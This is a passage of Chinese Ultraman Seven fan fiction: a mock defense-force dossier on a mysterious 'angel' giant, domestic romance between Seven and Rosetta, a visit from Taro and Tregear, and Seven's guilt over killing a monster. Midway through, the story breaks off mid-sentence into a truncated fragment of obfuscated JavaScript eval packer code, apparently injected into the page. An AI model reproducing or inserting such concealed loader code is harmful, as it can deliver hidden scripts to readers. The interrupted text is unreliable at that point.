当安奴牵着亚理的手回到桌前时,她的好队员们已经给诸星团科普了如何追求女孩子。一看见安奴到场,连忙起身找了借口跑路:“我突然想起来今天我妈来东京看我了。”“桐山队长叫我给他带饭。”“家里的煤气忘记关了。”“再见,亚理。” 人类们来的匆忙,走的也匆忙。只剩下两个披着人类外表的外星人对坐,诸星团紧张地问:“明天就是这个国家的新年,今天晚上应该会很热闹,你要不要和我一起去看一看?” “好啊。” 富婆翠星亚理刷卡结账。他们并肩走入华灯凌霄的街景。今天是跨年夜,东京喧嚣地像是不夜之城。二人穿过熙攘的人群,在每一个摊位前驻足,罗塞塔买了一份苹果糖,打包后准备带回去给托雷基亚。他们参加了捞小金鱼的游戏,提着两只小鱼不知所措,最后打算放生在公园的鱼池里。路过某个橱窗的时候,诸星团看见展示人台上系着一条蓝色丝带,织物反射细腻柔软的光泽,艳丽的蓝像是蓝族的体色。他心中一动,想起曾我说要给心上人买礼物,于是转头和亚理说:“等我一下。” 女孩乖乖地在原地等待,片刻之后他折返回来,手中捧着那条真丝缎带:“送给你。” 亚理很高兴地接受了,请□□在自己发间。他们漫步在东京的街头看烟花在夜空绽放,东京塔亮起彩色的灯光,这个国家所有的寺庙都在零点敲响大钟,108声钟鸣响彻夜空。诸星团偷偷瞄着女孩的侧脸,他觉得这个时候自己应该告白了,可是怎么样的字词才够郑重,才能配的上心爱的女孩?他想不出来,翻来覆去地雕琢话语。无数次想开口,又无数次无言。跨年夜结束,翠星亚理撩起耳边的碎发,对他说:“谢谢你,今天我玩得很开心。明天早上我就回去。” ──请不要走。 名为诸星团的男人下意识想挽留,他还未将那些凌乱的恳求说出来,就听见女孩的下一句话。她说:“赛文,我喜欢你。” 诸星团呆住了。他愣愣地说:“罗塞塔,我也喜欢你。” 39. 一份地球防卫军的机密档案 (39) 《地球防卫军内部档案-机密》 档案编号:EDUG-Ω-1968 档案名称:未知生命体“天使” 主体属性:知性生物、宇宙人、巨人同族(可能性存疑) 内部代号:“天使” //警告:以下信息包含大量目击者主观描述和科学部基于现象进行的推测,Ω级别权限以下人员禁止访问。此档案保密级别为【机密】,仅允许内部流传使用。// —— 一、主体概述 主体“天使”外貌为散发白光的人形生物,形态巨大,肢体纤细修长,头部有外置未知器官。目击者称观测时“天使”散发的光芒并不刺眼,仅比环境亮度上升三个标准单位,恰好模糊外表特征却不会对人类的视力造成损伤,研究者合理推测此能力类似蜥蜴目避役科的变色机制,“天使”会依据环境亮度调节自身亮度,以避免被敌人识别弱点。然而在地球防卫军总部(以下简称本部)调动卫星进行拍照记录时,得到的只有呈现【黑色剪影】的照片与视频。“天使”散发的光芒会对精密仪器的感光元件造成极大的伤害,我们无法通过技术分析和处理还原照片和影像资料。科学技术部称,造成这个情况的原因是因为光芒过于强烈高温,人类目前的科技无法捕捉光中影像。如同未做任何保护近距离直视太阳会将致盲,“天使”的光芒拥有同样的特质。然而,若那光芒的亮度高到机器难以忍受,人类的眼睛应该在看见它的瞬间就沸腾燃烧,目前未有目击者视力受损的报告。 *研究员批注:因为那是神的使者啊,凡人怎么能直视神的尊容?但祂是慈爱的天使,不忍灼烧我们的眼睛,我们不能依仗神的慈悲研究祂,那是一种亵渎! (经讨论该研究员有狂热的宗教信仰倾向,此发言无科学依据,不予采纳。) —— 二、事件记录 事件编号:Ω-1968-1004 事件名称:黑暗地带 地点:太空观测站V3 描述:这是我们第一次目击“天使”的出现,佩萨盖星人的太空城动力系统失灵,即将撞上地球。因地球还未发明出行星发动机,无法闪避,失控的太空城向地球发射导弹排除障碍。友善的红色巨人赛文成功拦截并销毁导弹,但他显然无法令太空城转向。此时,“天使”出现在太空城与地球之间,它抬起手发射了一道波纹状的光线,时速1400马赫的太空城在它面前停下来了!然后它的身形化作一道十字星光芒,消失。26秒后太空城恢复行动,转变方向驶离地球。 现场处理:本部第一时间派出宇航员进行交涉,“天使”并没有回答本部发出的无线电(也许它并不是通过这种方式交流的?)。在“天使”消失后,赛文也如之前一样,飞向未知空间。本部注意到,“天使”并没有与红色巨人进行任何形式的交流和接触。 后续处理:经过本部激烈讨论,决定将未知生命体命名为“天使”,并定义为中立外星人。无论“天使”的意图为何,它拯救了地球都是一个不争的事实。我们不应当将它当成敌人。 事件编号:Ω-1968-1017 事件名称:佩丹星协议 地点:霓虹西部海域 描述:地球曾经向佩丹星发射探测卫星,原意是为了考察佩丹星的环境和生态。然而这一举动被佩丹星文明误解为侵略的前兆。佩丹星人开始暗杀本部高层人员并且派出机械兵器“金古桥”袭击地球,巨人赛文再次保护了人类,与金古桥进行战斗。金古桥的制造材料和科技都超出我们的想象,赛文陷入明显的劣势。在战斗僵持之时,“天使”出现在地球上。赛文在地球上行动时会造成轻微的地震,伴随地面破坏。与赛文不同,“天使”降临时没有对环境造成任何影响。它站在大地上,如同一片落叶飘落地面,我们无法从地面的震感推测“天使”的体重。出现后,它发射一道极具穿透力的光线,击穿了金古桥的自律核心,赛文趁机破坏炸毁这个战争兵器。二者似乎对视片刻,然后“天使”再一次无声消失。 现场处理:本部回收了金古桥的残骸碎片,操作系统已经完全无法辨认,只有材料还有研究价值。奥特警备队朝赛文表示了感谢,红色巨人朝人类点头回应后飞走。 后续处理:因为“天使”每次出现都在赛文之后,他们都是使用高能光线作战的巨大生命体。我们大胆推测,“天使”与赛文有某种密切的联系,这种联系应该是正向且善意的。 事件编号:Ω-1968-1023 事件名称:赞帕尔星的复仇 地点:月球 描述:本部的黑田队员曾于三年前挫败了赞帕尔星人的侵略计划,然而可恶的赞帕尔星人竟然毫不悔改,甚至进行无理的复仇!在月球上引发大爆炸,引诱本部派出战斗人员调查,无耻的赞帕尔星人伪装成奇拉哈玛队员袭击桐山薰、诸星团与黑田,放出怪兽佩台罗杀人灭口。我们的朋友赛文为了拯救人类与怪兽作战,落入下风。据卫星观测,巨人似乎不适应月球的低温环境,战斗力大幅度下降。佩台罗喷出的水流结冰后使赛文的行动变得僵硬迟缓,本部决定发射部署大规模反射镜列将太阳光聚焦到月球表面,帮助赛文战胜怪兽。调配资源需要时间,本部担心无法及时援助赛文。幸好,“天使”再一次出现了。它漂浮在高空,身后空间波动,能量反应到达探测最高峰。然后“天谴”降临了。无数支光箭像上帝之矛,把佩台罗钉死毁灭。这一次“天使”主动与赛文接触,它飘到赛文面前,向赛文伸出手。赛文艰难地触碰那只手,奇迹的一幕发生了。赛文体表的冰霜全部融化,他马上恢复行动能力,并且牵着“天使”的手一起消失。 现场处理:本部派出飞鹰号接应滞月人员回归,在场人员表示有一种“被注视的感觉”,“天使”朝他们投来视线,然后有一道白光掠过身体,他们在战斗余波中受到的伤都痊愈了。 后续处理:我们或许可以确定一件事,“天使”的出现是为了帮助红色巨人,它……她也许也是一个巨人。与赛文常常出现在人类面前,乐意与人类交流的情况不同,“天使”对于人类的态度友好但疏离。 *研究员批注:真想看看“天使”真正的样子啊,她也是红色的吗?也会发出“JIA”的吼声吗?要是她愿意和人类交流就好了。 事件编号:Ω-1968-1027 事件名称:…… …… —— 三、风险评估 危险等级:中级 对于“天使”多次出场后的行为模式分析,我们可以推断“天使”没有好战倾向,对人类、对地球、对怪兽的也不存在明显的厌恶倾向。基于她多次帮助赛文和人类的行为来看,我们判断“天使”会遵循“同族”赛文的情感偏好,愿意主动保护人类。尽管个人而言,我可以信任她。但是作为保护地球的防卫组织,我们仍然应该警惕地对待她,毕竟那是一个掌握了极强杀伤力的“纯白利维坦”。 战略价值:高 其战斗力极高,每一次显现都能在短时间内解决怪兽。虽然有赛文之前搏斗的努力,但我们依旧不可低估“天使”的能力。在遇到危机时,可以考虑向“天使”求援。尽管没有独立于赛文显现的案例,但是我们有理由相信,面对凶恶的怪兽时,“天使“或许会对人类伸出援手。 结论:目前来看,“天使”对于人类是无害的。但是这里必须提醒本部的某些人员,我们必须对无法言说之物保持沉默,必须对于深不可测之物保持敬畏,意图利用一个明显存在智能的生命体是极度狂妄和不理智的。 —— 四、附录 *附录Ω-1:“天使”的目击者口述资料、现场录音文件、目击者精神稳定性分析报告。 *附录Ω-2:被损坏的影像资料、能量图像分析合集。 *附录Ω-3:各部门的讨论会议纪要。 …… 档案管理员备注:我们给予了她一个代号:“天使”,这是一份期盼,一份憧憬。希望她是一个爱人的神明,不要对地球降下天灾。请天外的使者与我们同行,直到人类走向星海。 愿我们结下属于宇宙的友谊。 —— 奥特警备队在休息室里围在一起看完了这份档案。桐山薰将桌上的纸质文件收回档案袋密封起来,他用一种严肃的语气说:“这是我拜托我的老师调出的影印件,你们本来不应该看见这份资料。但是我认为我们是一个互相信任的团队,所以看完以后要记得保密。” “原来本部对待那个神秘的巨人是这种看法,天使,真的是一个很合适的代号啊。”天城说,“但是本部为什么要用‘她’来称呼呢?完全看不清外表,而且我们也不知道巨人有没有性别之分。” “哎呀,那是因为天城你没有见过她。”曾我反坐在办公椅上,抱着椅背说,“那个巨人行动起来轻盈又优雅,还治疗过我们,感觉就像神话里面的春之女神。所以我们都觉得那一定是个美丽的女性巨人。” “事实上,给人的感觉更像是月亮。”桐山说,“我提议过使用【塞勒涅】作为代号,但是没有被采用。” “她和赛文是什么关系?”古桥茂进行了大胆的猜想,“说不定是赛文的妈妈,看见赛文被打了就出来保护孩子!” “咳咳咳——” 诸星团·红色巨人·赛文被这个猜测呛到,他试图把天马行空的伦理关系拽回来:“为什么不能是别的关系呢,比如说……他们其实是伴侣?” “可是天使明显要比赛文大只吧?他们之间的身高差不多有一 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罗塞塔决定留在地球后,诸星团曾经邀请过她也加入奥特警备队,这样他们就可以并肩作战。但是这个提议被蓝族拒绝,她说:“混在人类防卫组织里的暴露风险还是太大了。如果是基于获取情报方面的考虑,你加入防卫队就已经足够,你会和我共享信息。况且,如果有需要我们两个一起变身的情况怎么办?你不觉得巨人们一出现队里就丢两个人,实在是太可疑了吗?” “说得有道理。那你有什么计划吗?” “我伪造了一份履历加入早稻田大学的实验室,研究方向是生物。如果你有需要的时候,可以直接来找我。” 此后罗塞塔果然帮助了他很多次。拥有独立实验室的科学家空闲时间很多,每一次都能及时地支援他战斗。她一个人简直就是一个队伍,不仅擅长战斗、辅助还有治疗。在战斗陷入僵局的时候罗塞塔在千里以外一发光线收割敌首;邪恶外星人好不容易把赛文打到残血,罗塞塔一发治疗下去红族又满血了;宇宙车祸即将发生时,蓝族科学家轻轻松松地就修好了佩萨盖星人的太空城驾驶系统,生活在影子里的宇宙人们开心地和蓝族要了联系方式后走掉了;太空病毒拜克提利亚把一个名为卡沃里的少女变成吸血鬼,接到电话的科学家从容不迫地带着特效药来,一针下去药到病除,天城直呼学妹牛逼! 赛文问过罗塞塔,为什么要隐藏自己的样貌,不和人类接触。罗塞塔说:“没有什么特殊的理由,减少自身的信息泄露只是术师的基本修养,预防敌人根据信息定向打击。至于交流……”她停顿了一下回答,“我不认为和他们频繁交流是一件好事,无论是对于光之巨人来说还是对于人类来说。我们各方面的差异太大,这样的交流是一种伤害。我不希望人类觉得宇宙友好有秩序,他们会被光之巨人无条件庇护。我也不希望人类自以为是,能够靠自己排除所有不同的文明。现在作为一个有威慑力的中立单位就刚刚好。” “你好像不太喜欢人类,他们确实很有攻击性。但是那都是因为人类被许许多多的外星侵略者伤害后的应激反应。生命之间的心并无差别,只要我们好好地沟通,就算是宇宙人也可以和人类成为朋友。” “或许吧。” 罗塞塔没有反驳这段在她看来太过天真的话语。赛文的赤忱和善良正是他的可爱之处,但是她可是当过人的,人类的下限能有多低她心里门清。虽然是不同的地球,但是昭和神人的抽象程度只会有过而不及。她轻巧地揭过这个话题,递给诸星团一串钥匙:“我在东京买了一套别墅,要从宿舍搬出来和我一起住吗?” “你从哪里拿的人类货币?” “科学研究很烧钱,但是也很赚钱。不用担心,我不会影响人类的科技和经济,只是在合理范围的小小波动。”翠星亚理朝他抛了一个小小的wink,“怎么,不想和我在一起吗?” 诸星团红着脸接过钥匙。 罗塞塔一定不知道人类的脑洞有多离谱。诸星团想,今天回家可以把队友们的闲聊讲给她听。他下班后打开那栋东京地区的别墅大门,“天使”小姐正毫无形象地瘫在沙发上看电视剧。她穿着本白色的棉布吊带裙,抱着一只蓝色的鲨鱼抱枕,裙下的层层叠叠的蕾丝被大腿压得乱七八糟,绸缎一样的黑发像流水一样铺开。 她朝团挥了挥手说:“欢迎回来。” “饿了吗,我去做饭。” 勤劳的家庭煮夫走向厨房,翠星亚理则是理直气壮地开始点菜:“我要吃寿喜锅,食材已经放在冰箱里了。” “没问题。”诸星团在厨房里熟练地系上围裙。 无论人们对于巨人抱有何种猜测,但事实是,奥特战士打完架也要回家吃饭。如果不同生命对于生活都抱有同样的热诚,那么他们的心一定与人类并无不同吧。 40. 赛文家今天的饭 (40) 晨雾熹微,鸟雀在枝头啾鸣。诸星团离开家,正要关上门的时候,莫名有一些心神不定。一道比清晨寒露更冰凉的视线注视着他,奥特曼的预感告诉他有事情要发生。 根据他以往的经验,或许是有宇宙人降临地球搞事。他佯装无知走出门,凭借路口转角镜的反射观察身后,一个头发有蓝色挑染的男人睁着一双黑而大的眼睛看着着他,视线在镜面相交的瞬间,男人如同鬼魅一样消失。 是谁?又盯上了地球吗? 诸星团当即使用奥特念力扫描了周围的环境,他什么也没发现。他沉下气,神态自若地进行日常的工作。那种窥伺感挥之不去,无论是他在基地里分析报告,还是在城市里巡逻。如果作为一个心怀不轨的宇宙人来说,他是一个很有耐心的猎手,但是也难免太过傲慢,看轻赛文。那道明目张胆的视线,几乎是以一种评估的目光打量“诸星团”的工作。 在汽车的后视镜中,在与行人擦肩而过的街道,在阳光明媚的公园里,总有一截白色的衣角一闪而过。猎人饶有兴趣地围着诸星团转圈,不知道什么时候失去玩弄猎物的恶趣味。 但也只是诸星团。 那道视线的主人对于其他防卫队员一点兴趣也没有,只是看着他。而诸星团之所以还没有变身赛文主动出击,是因为他并没有在这道冰冷的目光里感受到威胁。杀意、恶意、压力……通通没有。如果要让他来形容,这道目光还会给他一点致命的熟悉感,有一点像罗塞塔在某些时刻注视他的感觉。 他满怀疑惑地结束了一天的工作。打开家门,却看见那个盯了他一天的宇宙人悠然自若地坐在他家里的沙发上,和亚理贴在一起看偶像剧。 不好,这家伙盯上的不是地球,是我的对象。 “晚上好,赛文前辈。”男人淡定地打了个招呼,“我有一个惊喜要给你。” 他像变魔术一样张开手,一个金色的虚影像抱脸虫一样扑过来,“咻——”地一下飞到他的脸上。 “赛文哥哥哥哥哥哥哥哥哥,我好想你啊!” 一团如烈阳的的能量波动几乎要把他的视力损伤,这股力量他并不陌生,他几乎是陪伴着这轮太阳长大的。可是这个时候最不可能出现的就是他。诸星团沉默地把红色牛角包小人从脸上撕下来,捏在手中:“你怎么来了,泰罗?” “我来看你和罗塞塔啦!”泰罗欢快地回答。 罗塞塔不在工位的第一天,想她。 罗塞塔不在工位的第七天,不想工作。 罗塞塔不在工位的第三个月,这破班我是一点也上不下去了! 罗塞塔……你什么时候回来! 托雷基亚放下手中的工具,失去所有颜色,倒在工位上。好友的离开让整个光之国黯然失色,连摸鱼都不能给他带来应有的快乐。一个人的旅行没意思,一个人的工作更是地狱。每一次提交报告的时候,他和希卡利大眼瞪小眼,希卡利没有读懂弟子的满腹哀怨,想了想,试探性地对难受的托雷基亚问:“要不我给你也放假?” “希卡利老师,你根本不理解……” 一个人就算有时间又有什么意思呢? 不行,他要去找罗塞塔。 托雷基亚踌躇片刻,打开星云粒子转化系统的开发者界面,他看见一个坐标在地图边缘闪烁着。是的,他给罗塞塔的【双星之约】里夹杂了很多私货,比如发送定位,实时身体指标监测,双向通讯频道……他恨不得把自己一整个都塞进去。送出去的时候,他有些心虚,但是罗塞塔肯定知道,她没有反对就是默许。托雷基亚记得罗塞塔发现这些功能的时候,意味不明地感叹了一声:“我去,小天才运动手环。” 总之,一个名叫托雷基亚的蓝族下定决心,要离开光之国去地球。他觉得自己这样跑过去有点像STK,所以打算找个人分担火力。他给泰罗发了一条消息:“泰罗,你是不是很久没见赛文前辈了,要去看望他吗?” 泰罗应该在休息,很快回复:“赛文哥哥不是在执行任务吗?我们这样去打扰他不太好吧?” 罗塞塔都去了,再来两个奥特战士地球也不会爆炸。托雷基亚调整了话术:“地球是奥特曼前辈和赛文前辈都热爱的星球,你还没有见过哥哥们这么喜欢一个文明吧?我们就过去看一眼,不会有事的。” “我怕赛文哥哥骂我。” 泰罗的语气松动了,托雷基亚煽风点火:“罗塞塔现在也在地球上,我们去帮帮她追求赛文前辈。” “好!现在就走吗?” 泰罗一路既往地好拿捏。托雷基亚心满意足地收起光屏,打卡下班。他这次没有忽悠泰罗,真的只打算去看一眼就回来,来回时间不会超过一个周末。想到即将能见到罗塞塔,托雷基亚决定给赛文这根红族木头一点好脸色。 托雷基亚撤回一个好脸。 怎么回事,罗塞塔离开的时间是三个月不是三千年吧?她怎么已经和赛文前辈同居了,这个进度真是不鸣则已一鸣惊人。 他一边揣着泰罗一边研究,泰罗在他的口袋里探出头:“托雷你什么时候确定的地球人样貌,我要不要也变成人类的样子?嗯……就变成赛文哥哥的样子好了,这样我们一看就是兄弟。” “地球人只有孪生兄弟才会长得一模一样,我刚刚去地球人的资料库里看了,赛文前辈编造的履历是孤儿。” “唉?”泰罗失望地说,“看来不能偷懒抄赛文哥哥的作业了……” 他们暗中尾随偷窥诸星团的一日工作VLOG,赛文使用的根本不是拟态,而是直接把光之生命体压缩成原始人类模版,所以他才能通过防卫队的身体检查。这样做的弊端就是,他要依靠变身器才能从人类形态切换成赛文,作为本体奥丢了奥特眼镜就变不了身。托雷基亚不明白赛文为什么要费劲心思融入人类,他的目光扫过城市中来来往往的人类,发出评价:“赛文前辈,真是喜欢人类啊。” “我觉得人类很可爱啊,他们和我们变成奥特曼之前长得很像。托雷,你不喜欢吗?” “只是因为相似就喜欢吗?泰罗,我觉得人类和宇宙人没什么区别,只是弱小了一点。”蓝族科学家发出锐评,他想起在官方资料库里看见的“友谊计划”,嘲讽道:“他们现在的柔顺可怜。只是因为弱小。给他们一点力量,他们就会和凶恶的宇宙人没有区别,把一切威胁到自己的文明都清除干净。” “可是现在努力生活的人们没有那样的坏心眼啊。” 仗着地球人看不见,小小的泰罗围着一个牵着红气球的小女孩转了一圈。小女孩牵着气球乖乖站在棉花糖小摊前排队,她幸运地买到了最后一个棉花糖。她身后的孩子们沮丧地抹起眼泪,女孩想了想,和其他孩子一起分享手中的草莓棉花糖。 “人类啊……” 见到这一幕的托雷基亚沉默,人类就是 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“听不懂QAQ,你们两个是不是在背着我偷偷聊天,不要抛下我啊!” “泰罗也来了?” 托雷基亚松开手,泰罗矜持地飞到他们之间,像一只金色的小精灵。他朝罗塞塔挥舞红色的手:“惊喜吗?我们三人小队终于聚齐了!” “嗯嗯,我很开心哦。” 罗塞塔拿出准备好的甜食大礼包投喂两个好朋友,这些本来是打算带回光之国的礼物,现在提前被收礼物的人吃掉。他们在沙发上一边看狗血电视剧一边聊天,三个不会做饭的人全都指望唯一的家庭煮夫回来掌勺。 赛文回来就看见这三个从小就一起行动的小兔崽子们,这样的日子确实许久未见了。他认命地走进厨房开始做饭,泰罗自告奋勇进去帮忙。今天的晚饭是咖喱猪排饭,诸星团炸了好几块金黄酥脆的猪排,切好码在盘子里。泰罗的目光被这个从未见过的炸物吸引了。 香香的,金灿灿的炸猪排…… 准备组装的时候猪排却不翼而飞,赛文凝视着嘴角还有面包糠的泰罗,泰罗嘿嘿一笑开始装傻。 帮倒忙的泰罗被赶出厨房。然后赛文做了一件错误的事情,他把吃美了的泰罗放出去,让饥肠辘辘的罗塞塔进来了。当他再一次看见空荡荡的盘子时,沉默了。 “赛文哥哥,饭好了吗?” 好像怎么也吃不饱的泰罗在门外叫唤,赛文拉开厨房的门,三个人和空荡荡的餐盘对峙,有两个人心虚地移开眼睛。罗塞塔抽出纸巾擦干净嘴上的油,凑过去在赛文的左脸上亲了一下:“别生气嘛。” 泰罗眼前一亮,也飞到赛文的右边亲了他一口:“吧唧。赛文哥哥,不会生我的气,对吧?” 因为人忽然都跑过来,也跟着过来的托雷基亚看见这一幕,缓缓地问:“……我也要亲吗?” 赛文捂住通红的脸:“你不用。” 最后四个人还是吃上了没有猪排的咖喱猪排饭,泰罗满足得浑身冒小星星:“好吃,地球食物真是太棒了,我以后也要来保护地球。” “如果是泰罗的愿望,那我也会喜欢这里的。” “泰罗,作为战士可不能怀着这样轻浮的信念。” “可是为了食物也是一种坚定的存在的理由啊,”罗塞塔微笑着举起果汁,“那我祝愿泰罗一直能够吃到美味的食物。” “谢谢你!罗塞塔!” 41. 你眼中的蓝色 (41) 吃过了晚饭,赛文去洗碗。这回泰罗信誓旦旦地说一定会帮上忙,冲进厨房的水槽被水龙头浇了一头水,像一只在池塘里打滚的金毛。托雷基亚和罗塞塔走到阳台上聊天。托雷基亚忍不住问:“我早就想问了,罗塞塔你为什么会喜欢上赛文前辈?你和赛文前辈就像是鱼和自行车,鱼不需要自行车,自行车也不需要鱼,可是你们居然真的在一起了。” “确实,鱼和自行车是毫无关系的东西。但是如果有一天你真的看见鱼在骑自行车,你不会感到很有趣吗?” 托雷基亚盯着罗塞塔,罗塞塔回望他。片刻之后两个人都绷不住,因为这句话笑得浑身颤抖。托雷基亚拍了拍表情失控的脸,努力拉回话题:“所以,你到底喜欢他什么?要说样貌和力量的话,泰罗也不差。” “嗯……因为他其实并不那么【正确】?”罗塞塔说。她想了想,泰罗虽然很好,但是并不处于她的审美区。他太纯粹了,像一本薄薄的彩色绘本,翻几页就看完了,每一页都用蜡笔写着大大的“我喜欢你”。她更喜欢复杂的,可以被击碎,但是又不会真的坏掉的人。 比如托雷基亚、伽古拉、赛文。 “什么?” “我并不知道其他人的喜欢和爱是什么感觉,对于我来说,看清赛文的本质后我感到了心动。所以我对他产生了‘想要靠近’的愿望。他不是践行【正确之义】的骑士,驱动他行动的是对于世界的爱。他会因为偏爱犯错,会因为偏爱甘愿成为罪人。这不是……非常可爱吗?” “……” “这样的人,一定会被正义和慈爱撕裂吧?我真的很像看到他遇到抉择的那一天,他一定会悲伤地流下眼泪,而这份痛苦会证明爱的纯粹。但我又不忍心他遇到那一天,我想要守护他,保护他,使他免于被这个冰冷的世界碾碎。当我同时出现了两种不一样的想法的时候,我觉得我已经爱上他了。” 对于罗塞塔的爱情观,托雷基亚觉得很难评,这种说法简直是要把赛文的胸膛剖开,然后把流血的心放在天平上称量重量。而她相信那颗心的纯度,所以在动手前对赛文甜言蜜语,虎视眈眈。他迟疑了一下说:“我觉得爱应该不是这样的东西。” “那托雷你觉得爱情是什么?” “爱应当是守护和理解,两颗心互相靠近,最后共同面对困难。人们不会因为苦难绝望,因为他们至死不渝地相爱。” “也许你是对的。但是这已经是我给出的最接近爱的东西。”罗塞塔微笑着,人类形态的她表情细节要比奥特曼更多,托雷基亚从她的眉眼间读取到的情绪只有柔和的平静。她说:“我会亲切地对待赛文,给予他温柔的怀抱和安慰,帮助他,信任他。所有属于爱的语言和行为我都会给他的,所以不用担心,我会尽我的努力去爱他。” “……如果有一天他发现那些语言和行动所指向的东西,并不是和他相同的【心】呢?这算不算是一种欺瞒?” “他不会恨我的,因为他就是这样温柔的人。即使他获得的不是相同的情感,但是不代表我不爱他。我能感受到,赛文在试图填补我的心,他确实爱着我。” 托雷基亚沉默了,他感到轻微的迷茫。好友又一次向他展示了她的与众不同。她和赛文就像两台使用不同系统的电脑在对接。双方输出了不同的字符,但是恰巧全部解码出同一个字:“爱”。不,这个比喻并不准确,罗塞塔给予赛文的东西确实是广义上的爱,只是她的心是一个黑箱,谁也不知道输入其中的东西经过什么样的逻辑编译。他想起最初和罗塞塔相遇的时候,罗塞塔说人们无法认清真正的自己,所以他人又如何能说理解另一个人。 ——我该如何向你解释我眼中的蓝色?或许我们眼中出现的从来不是同样的色彩,而它恰好被我们定义为蓝。 ……那么我和泰罗,看见的也是不同的“蓝色”吗? “你感觉到幸福吗?” 托雷基亚不打算去厘清这一个无人能解的难题,他只关心罗塞塔。而女孩给他了准确的回答:“嗯,和赛文在一起的每一天,我都很开心哦。” 厨房里面的两个红族也在聊天。天花板的吊灯暖黄,灯光照射在水池中的洗洁精泡泡上,把每一颗水泡都照的通透晶莹。泰罗一边COS家务小精灵,用奥特念力洗碗。一边忍不住和哥哥叭叭:“赛文哥,你和罗塞塔是怎么在一起的?你有没有给她送花?” 赛文被这个问题打出僵直,他发现自己并不知道罗塞塔的爱好。他僵硬地把手伸进“哗哗”的水流里,犹豫地问:“她喜欢花吗?什么品种的?” “当然是玫瑰啦玫瑰啦,代表理想和爱情的玫瑰花。白色好看,蓝色也漂亮,最棒的还是红色。所以你们在一起的时候发生了什么?”泰罗用奥特念力控制着海绵擦盘子,摇头晃脑地说。 赛文心虚地沉默了一下,回答:“是罗塞塔向我表白,我答应了,我们就在一起了。” 什么,这也太…… 泰罗想不出形容词。他高高兴兴地带着告白信和花向罗塞塔表白,被婉拒。换成赛文哥哥就是女孩子主动表白,赛文哥你真是好大魅力!他哼哼唧唧地刷碗,没两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在赛文家蹭了一顿晚饭,吸够了罗塞塔能量,托雷基亚和泰罗要离开了。奥特曼们站在露台上,目送同族化作两道流光飞向天际,红与蓝的光芒并轨向宇宙深处飞去。赛文看着弟弟和他的蓝族好友离开,视线转向身边的女孩。有另外一道蓝色的光芒选择留在他的身边,他感到了发自内心的幸福。诸星团悄悄去牵罗塞塔的指尖,罗塞塔转头看他,露出狡黠的微笑,眼睛亮晶晶的。她将整只手塞进他的掌心,轻快地说:“想要什么就要说出来,我全都会给你的。” “现在这样,已经足够让我满足了。” “你呀,完全可以再贪心一点哦?” “……厨房里那个亲吻,可以再来一下吗?” 罗塞塔撩起耳边的黑发,她靠近诸星团,在他的唇上落下一个轻盈的吻。唇上传来温热柔软的触感,男人睁大眼睛,黑色的瞳孔中倒映着罗塞塔发边的蓝色丝带。他闭上眼睛,封存眼中炽烈明亮的蓝,慢慢加深了这个吻。 在他们身后,夜幕为万物披上黑纱。一轮银色的圆月照耀大地,水银般的光芒流淌着,落在世间所有的有情人身上。 42. 若我不再美丽 (42) 夏初的气温还未高得让人难以忍受,只要一座落地扇就足以带来丝丝凉意。黑发的少女躺在客厅的亚麻沙发上,看着凉风吹起窗边白色的纱帘,傍晚的火烧云铺满天空。她抱着蓝色的鲨鱼玩偶思考着,最近的赛文有些不对劲。 赛文本身就是很优秀的战士,不需要次次都由罗塞塔救场。最近和赛文的共同作战,都是由罗塞塔开场给赛文施加【越权律令】增幅,然后赛文适应了600%的力量后一招打爆怪兽。赛文相当信任她,任凭罗塞塔用念力把他的身体结构里里外外研究个透彻,也丝毫不抗拒罗塞塔的光芒。因此,在他身上施加的增幅倍率比其他人都高,而且数字还有继续增长的趋势。如果不是战斗力的困扰,那么,赛文最近的低沉只能是因为“心”。 翠星亚理继续回忆,诸星团最近做饭的时候总是发呆,不小心就把菜烧糊了。他在深夜对着怪兽胶囊沉思,当亚理提起时,他只是疲惫地回答没事。昨天他看见电视上的新闻主持人喜气洋洋地播报“红色巨人又一次消灭了怪兽”时,他仿佛被刺痛了眼睛马上关掉电视。她还记得新闻上被消灭的怪兽被赛文称为“基耶龙怪兽”。 贝壳和锡管的风铃相互碰撞,发出空灵的叮铃声。门被推开,是诸星团回来了。他看见亚理的时候,眼神变得柔软,想要露出笑容。下一秒又逃避般地移开视线,他说:“今天有什么想吃的吗?我去做,我带回来一些水果,你先吃一会。” 男人拎着一袋瓜果走进厨房,厨房传来水流、刀与案板接触的声音。过了几分钟,诸星团端着切好的果盘出来。把一盘鲜妍的果切摆在茶桌上,水珠顺着瓷盘外壁流下。亚理的视线顺着诸星团端着盘子的手指上移,从手臂,到肩膀,最后到眼睛。她盯着诸星团,慢悠悠地说:“团,你最近好像在躲着我?” “……没有。” “是因为基耶龙?” “……” “你的光芒变得犹豫了,是它折损了你的锐利吗?” “不,不是它的错。真正做错事的……是我。” “和我说一说吧,无论什么,都请告诉我。我会倾听,我会一直等待着你。” 翠星亚理从沙发上坐起来,双腿并拢,摆出认真的架势。她拉住诸星团的指尖,她的力气并不大,诸星团可以轻易甩开这轻飘飘的束缚。可是他无法挣脱来自爱人的请求,他抓住亚理的手,慢慢蹲下来,把那只手放在自己的额头上。他跪伏在少女的腿边,仿佛向神像忏悔的信徒。他艰难地吐出一口气,组织语言:“如果我变得不再【美丽】……” “嗯?” “我……做了错误的事情。人类为了实验超级兵器R1,朝一颗本以为没有生命的星球发射,那颗星球被炸毁。可是那里是有生命的,只是人类没有理解他们的生存形态。基耶龙星的生命在憎恨中化身怪兽,朝人类复仇……我杀死了它。” “这听起来是因为一场误会引发的悲剧。” “不,不要为我开脱。”诸星团说,“纵然是因为人类的无心之过,可是我是知晓一切的人,我还是杀死了那只可怜的怪兽。无论从什么角度来说,这都称不上正义和公平。” 他想起那只鸟形怪兽的眼睛,里面燃烧着无法浇灭的哀伤和仇恨。它已经失去了一切,它的家园,它的同伴和它的未来。它抱着无人可以指摘的正当性前来找人类复仇,却被一个外星人杀死在陌生的土地上。怪兽死去的时候,所有人类都在欢呼奥特曼又一次拯救了人类。只有他知道,那不过是他用野蛮的暴力杀死了一个无辜的生命,这不是一场正义的战斗。可是当他以巨人之姿将欢呼的人群收入眼中,他却无法恨这些人类。那些年轻人、老人、孩子,他们什么也不知道,他们只是高兴自己明天又可以活下去。 “你并不是怀着恶意去做这件事,你只是在正确和生命之间选择了生命。” 